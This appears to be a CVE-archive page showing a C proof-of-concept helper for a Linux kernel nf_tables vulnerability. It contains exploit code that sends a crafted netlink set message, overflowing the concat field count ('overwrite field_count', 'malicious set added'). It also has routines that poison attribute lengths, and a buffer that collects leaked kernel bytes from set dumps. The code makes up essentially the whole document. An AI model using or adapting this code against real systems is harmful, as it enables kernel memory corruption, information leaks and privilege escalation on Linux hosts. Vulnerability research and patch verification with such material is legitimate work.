4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / helper.c C
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <stddef.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>

#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>

#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>

uint8_t leak_buffer[0x100];

void my_nftnl_set_nlmsg_build_payload(struct nlmsghdr *nlh, char * table_name, char * set_name)
{
	struct nlattr *nest1;
	struct nlattr *nest2;
	struct nlattr *nest_elem;
	int i;
	int num_exprs = 0;

	mnl_attr_put_strz(nlh, NFTA_SET_TABLE, table_name);
	mnl_attr_put_strz(nlh, NFTA_SET_NAME, set_name);
	mnl_attr_put_u32(nlh, NFTA_SET_KEY_TYPE, htonl(13));
	mnl_attr_put_u32(nlh, NFTA_SET_KEY_LEN, htonl(sizeof(uint16_t)));
	mnl_attr_put_u32(nlh, NFTA_SET_ID, htonl(1));

	nest1 = mnl_attr_nest_start(nlh, NFTA_SET_DESC);

	mnl_attr_put_u32(nlh, NFTA_SET_DESC_SIZE, htonl(20));

	nest2 = mnl_attr_nest_start(nlh, 2); // NFTA_SET_DESC_CONCAT
	for (i = 0; i < 16; i++) {
		nest_elem = mnl_attr_nest_start(nlh, NFTA_LIST_ELEM);
		mnl_attr_put_u32(nlh, 1, htonl(0x30+i)); // NFTA_SET_FIELD_LEN
		mnl_attr_nest_end(nlh, nest_elem);
	}

	// overwrite field_count
	nest_elem = mnl_attr_nest_start(nlh, NFTA_LIST_ELEM);
	mnl_attr_put_u32(nlh, 1, htonl(40)); // NFTA_SET_FIELD_LEN
	mnl_attr_nest_end(nlh, nest_elem);


	mnl_attr_nest_end(nlh, nest2);

	mnl_attr_nest_end(nlh, nest1);
}

void hexDump(char *desc, void *addr, int len) 
{
    int i;
    unsigned char buff[17];
    unsigned char *pc = (unsigned char*)addr;

    // Output description if given.
    if (desc != NULL)
        printf ("%s:\n", desc);

    // Process every byte in the data.
    for (i = 0; i < len; i++) {
        // Multiple of 16 means new line (with line offset).

        if ((i % 16) == 0) {
            // Just don't print ASCII for the zeroth line.
            if (i != 0)
                printf("  %s\n", buff);

            // Output the offset.
            printf("  %04x ", i);
        }

        // Now the hex code for the specific character.
        printf(" %02x", pc[i]);

        // And store a printable ASCII character for later.
        if ((pc[i] < 0x20) || (pc[i] > 0x7e)) {
            buff[i % 16] = '.';
        } else {
            buff[i % 16] = pc[i];
        }

        buff[(i % 16) + 1] = '\0';
    }

    // Pad out last line if not exactly 16 characters.
    while ((i % 16) != 0) {
        printf("   ");
        i++;
    }

    // And print the final ASCII bit.
    printf("  %s\n", buff);
}

void print_nla(struct nlattr * attr) {
	printf("nla_len : 0x%04x\n", attr->nla_len);
	printf("nla_type: 0x%04x\n", attr->nla_type);
	hexDump("data", (void *)attr, attr->nla_len);
}

void print_nlh(struct nlmsghdr * nlh)
{
	struct nlattr *attr;
	unsigned int offset;

	printf("nlmsg_len  : 0x%08x\n", nlh->nlmsg_len);
	printf("nlmsg_type : 0x%04x\n", nlh->nlmsg_type);
	printf("nlmsg_flags: 0x%04x\n", nlh->nlmsg_flags);
	printf("nlmsg_seq  : 0x%08x\n", nlh->nlmsg_seq);
	printf("nlmsg_pid  : 0x%08x\n", nlh->nlmsg_pid);
	printf("------------------------------------\n");

	attr = ((void *)nlh + sizeof(struct nlmsghdr));

	while(1) 
	{
		print_nla(attr);
		printf("------------------------------------\n");

		// nested nlh
		if (attr->nla_type == NFTA_SET_DESC) {
			printf("-------- PRINTING NFTA DESC --------\n");
			struct nlattr * ptr;

			// NFTA_SET_DESC_SIZE
			ptr = (void *)attr+4;
			print_nla(ptr);
			printf("------------------------------------\n");
			ptr = mnl_attr_next(ptr);

			// PRINT NFTA_LIST_ELEM
			uint16_t desc_len = ptr->nla_len-4;
			ptr = (void *)ptr+4;
			for (int i=0; i < desc_len; i+=ptr->nla_len) {
				printf("ELEM[%d]\n", i/0xc);
				print_nla((void *)ptr+i);
				leak_buffer[i/0xc] = *(uint8_t *)((void *)ptr+i+11);
				printf("------------------------------------\n");
			}
		}
		attr = mnl_attr_next(attr);
		
		if ((uint64_t)attr >= (uint64_t)((void *)nlh + nlh->nlmsg_len))
			break;
	}
	//hexDump("leak_buffer", leak_buffer, 40);
	return;
}
void poison_tb(struct nlmsghdr * nlh)
{
	printf("[*] try modifying field_len\n");

	const struct nlattr *attr;
	unsigned int offset;

	attr = ((void *)nlh + sizeof(struct nlmsghdr));

	while(1) 
	{
		printf("nla_len : 0x%04x\n", attr->nla_len);
		printf("nla_type: 0x%04x\n", attr->nla_type);
		if (attr->nla_len != 0x00d0 || attr->nla_type != 0x8009)
		{
			attr = mnl_attr_next(attr);
			continue;
		}

		*(uint16_t *)((void *)attr+0xc) = 0xc4+0xc;
		// *(uint32_t *)((void *)attr+0x1c-4) = 0xfcffffff;
		hexDump("malicious attr", (void *)attr, attr->nla_len);
		printf("------------------------------------\n");

		attr = mnl_attr_next(attr);
		
		if ((uint64_t)attr >= (uint64_t)((void *)nlh + nlh->nlmsg_len))
			break;
	}

	return;
}


void poison_field_len(struct nlmsghdr * nlh)
{
	printf("[*] try modifying field_len\n");

	const struct nlattr *attr;
	unsigned int offset;

	attr = ((void *)nlh + sizeof(struct nlmsghdr));

	while(1) 
	{
		printf("nla_len : 0x%04x\n", attr->nla_len);
		printf("nla_type: 0x%04x\n", attr->nla_type);
		if (attr->nla_len != 0x1c || attr->nla_type != 0x8009)
		{
			attr = mnl_attr_next(attr);
			continue;
		}

		*(uint32_t *)((void *)attr+0x1c-4) = 0xfcffffff;
		hexDump("malicious attr", (void *)attr, attr->nla_len);
		printf("------------------------------------\n");

		attr = mnl_attr_next(attr);
		
		if ((uint64_t)attr >= (uint64_t)((void *)nlh + nlh->nlmsg_len))
			break;
	}

	return;
}

static int parse_attr_cb(const struct nlattr *attr, void *data)
{
	int type = mnl_attr_get_type(attr);
	printf("type: 0x%x\n", type);
}

void send_batch(struct mnl_nlmsg_batch *batch, mnl_cb_t cb_data)
{
        struct mnl_socket *nl;
        char buf[MNL_SOCKET_BUFFER_SIZE];
        uint32_t portid;
        int ret, batching;

        nl = mnl_socket_open(NETLINK_NETFILTER);
        if (nl == NULL) {
                perror("mnl_socket_open");
                exit(EXIT_FAILURE);
        }

        if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
                perror("mnl_socket_bind");
                exit(EXIT_FAILURE);
        }
        portid = mnl_socket_get_portid(nl);

        if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                              mnl_nlmsg_batch_size(batch)) < 0) {
                perror("mnl_socket_send");
                exit(EXIT_FAILURE);
        }

        mnl_nlmsg_batch_stop(batch);

        ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        while (ret > 0) {
                ret = mnl_cb_run(buf, ret, 0, portid, cb_data, NULL);
                if (ret <= 0)
                        break;
                ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        }
        if (ret == -1) {
                perror("error");
                exit(EXIT_FAILURE);
        }
        mnl_socket_close(nl);
}

static struct nftnl_table *setup_table(uint32_t family, char * table_name)
{
        struct nftnl_table *t;

        t = nftnl_table_alloc();
        if (t == NULL) {
                perror("[!] Couldn't allocate a table");
                exit(EXIT_FAILURE);
        }

        nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
        nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name);

        return t;
}

static struct nftnl_set *setup_set(uint32_t family, const char *table_name, const char *set_name)
{
	struct nftnl_set *s = NULL;

	s = nftnl_set_alloc();
	if (s == NULL) {
		perror("OOM");
		exit(EXIT_FAILURE);
	}

	nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
	nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
	nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
	nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
	/* inet service type, see nftables/include/datatypes.h */
	nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
	nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
	// NFTA_SET_DESC
	// NFTA_SET_DESC_SIZE
	// NFTA_SET_DESC_CONCAT
	// NFTA_SET_FIELD_LEN 
	// set NFTNL_SET_DESC_SIZE & NFTNL_SET_DESC_CONCAT == set NFTA_SET_DESC
	nftnl_set_set_u32(s, NFTNL_SET_DESC_SIZE, 20);

	nftnl_set_set_str(s, NFTNL_SET_DESC_CONCAT, "0000111122223333");
	
	/*
	for (int i=0; i<32; i++) {
		nftnl_set_set_u32(s, NFTNL_SET_DESC_CONCAT, i+0x30);
	}
	*/

	return s;
}

void add_table(uint32_t family, char *table_name){
        struct mnl_socket *nl;
        char buf[MNL_SOCKET_BUFFER_SIZE];
        struct nlmsghdr *nlh;
        uint32_t portid, seq, table_seq;
        struct nftnl_table *t;
        struct mnl_nlmsg_batch *batch;
        int ret;

        t = setup_table(family, table_name);
        if (t == NULL)
                exit(EXIT_FAILURE);

        seq = time(NULL);
        batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        table_seq = seq;
        nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWTABLE, family,
                                    NLM_F_CREATE | NLM_F_ACK, seq++);
        nftnl_table_nlmsg_build_payload(nlh, t);
        nftnl_table_free(t);
        mnl_nlmsg_batch_next(batch);

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        send_batch(batch, NULL);

        printf("[*] table added: %s\n", table_name);
        return;
}

void add_set(uint32_t family, char * table_name, char * set_name){
        struct mnl_socket *nl;
        char buf[MNL_SOCKET_BUFFER_SIZE];
        struct nlmsghdr *nlh;
        uint32_t portid, seq, set_seq;
        struct nftnl_set * s;
        struct mnl_nlmsg_batch *batch;
        int ret;

        s = setup_set(family, table_name, set_name);
        if (s == NULL)
                exit(EXIT_FAILURE);

        seq = time(NULL);
        batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        set_seq = seq;
        nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWSET, family,
                                    NLM_F_CREATE | NLM_F_ACK, seq++);
        nftnl_set_nlmsg_build_payload(nlh, s);
	// print_nlh(nlh);
        nftnl_set_free(s);
        mnl_nlmsg_batch_next(batch);

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        send_batch(batch, NULL);

        printf("[*] set added: %s\n", set_name);
        return;
}
void add_mal_set(uint32_t family, char * table_name, char * set_name){
        struct mnl_socket *nl;
        char buf[MNL_SOCKET_BUFFER_SIZE];
        struct nlmsghdr *nlh;
        uint32_t portid, seq, set_seq;
        struct nftnl_set * s;
        struct mnl_nlmsg_batch *batch;
        int ret;

        s = setup_set(family, table_name, set_name);
        if (s == NULL)
                exit(EXIT_FAILURE);

        seq = time(NULL);
        batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        set_seq = seq;
        nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWSET, family,
                                    NLM_F_CREATE | NLM_F_ACK, seq++);
        //nftnl_set_nlmsg_build_payload(nlh, s);
        my_nftnl_set_nlmsg_build_payload(nlh, table_name, set_name);
	//print_nlh(nlh);
	// poison_tb(nlh);
	// poison_field_len(nlh);
        nftnl_set_free(s);
        mnl_nlmsg_batch_next(batch);

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        send_batch(batch, NULL);

        printf("[*] malicious set added: %s\n", set_name);
        return;
}

static int set_cb(const struct nlmsghdr *nlh, void *data)
{
	struct nftnl_set *t;
	char buf[4096];
	uint32_t *type = data;

	printf("[+] getset callback\n");
	printf("nlh : %p\n", nlh);
	printf("data: %p\n", data);

	t = nftnl_set_alloc();
	if (t == NULL) {
		perror("OOM");
		goto err;
	}

	if (nftnl_set_nlmsg_parse(nlh, t) < 0) {
		perror("nftnl_set_nlmsg_parse");
		goto err_free;
	}
	print_nlh((struct nlmsghdr *)nlh);

	//nftnl_set_snprintf(buf, sizeof(buf), t, *type, 0);
	//printf("%s\n", buf);

err_free:
	// nftnl_set_free(t);
err:
	return MNL_CB_OK;
}

void get_set(uint32_t family){
        struct mnl_socket *nl;
        char buf[MNL_SOCKET_BUFFER_SIZE];
        struct nlmsghdr *nlh;
        uint32_t portid, seq, set_seq;
        struct nftnl_set * s;
        struct mnl_nlmsg_batch *batch;
        int ret;

	s = nftnl_set_alloc();
        if (s == NULL)
                exit(EXIT_FAILURE);

        seq = time(NULL);
        batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        set_seq = seq;
	nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETSET, family,
			    NLM_F_DUMP | NLM_F_ACK, seq);
        nftnl_set_nlmsg_build_payload(nlh, s);
        nftnl_set_free(s);

        send_batch(batch, set_cb);

	printf("[+] get_set\n");

        return;
}




/*
static int example_set_cb(const struct nlmsghdr *nlh, void *data)
{
	struct nftnl_set *t;
	char buf[4096];
	uint32_t *type = data;

	printf("[+] getset callback\n");
	printf("nlh : %p\n", nlh);
	printf("data: %p\n", data);

	t = nftnl_set_alloc();
	if (t == NULL) {
		perror("OOM");
		goto err;
	}

	if (nftnl_set_nlmsg_parse(nlh, t) < 0) {
		perror("nftnl_set_nlmsg_parse");
		goto err_free;
	}

	print_nlh(nlh);
	printf("end of print_nlh\n");
err_free:
	//nftnl_set_free(t);
	printf("free\n");
err:
	return MNL_CB_OK;
}

int example_getset(uint32_t family)
{
	struct mnl_socket *nl;
	char buf[MNL_SOCKET_BUFFER_SIZE];
	struct nlmsghdr *nlh;
	uint32_t portid, seq;
	uint32_t type = NFTNL_OUTPUT_DEFAULT;
	struct nftnl_set *t = NULL;
	int ret;

	t = nftnl_set_alloc();
	if (t == NULL) {
		perror("OOM");
		exit(EXIT_FAILURE);
	}
	seq = time(NULL);

	nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETSET, family,
				    NLM_F_DUMP | NLM_F_ACK, seq);
	nftnl_set_nlmsg_build_payload(nlh, t);
	nftnl_set_free(t);

	nl = mnl_socket_open(NETLINK_NETFILTER);
	if (nl == NULL) {
		perror("mnl_socket_open");
		exit(EXIT_FAILURE);
	}

	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
		perror("mnl_socket_bind");
		exit(EXIT_FAILURE);
	}
	portid = mnl_socket_get_portid(nl);

	if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
		perror("mnl_socket_send");
		exit(EXIT_FAILURE);
	}

	ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	printf("ret: %d\n", ret);
	while (ret > 0) {
		ret = mnl_cb_run(buf, ret, seq, portid, example_set_cb, &type);
		if (ret <= 0)
			break;
		ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
		printf("ret: %d\n", ret);
	}
	if (ret == -1) {
		perror("error");
		exit(EXIT_FAILURE);
	}
	mnl_socket_close(nl);

	return EXIT_SUCCESS;
}
*/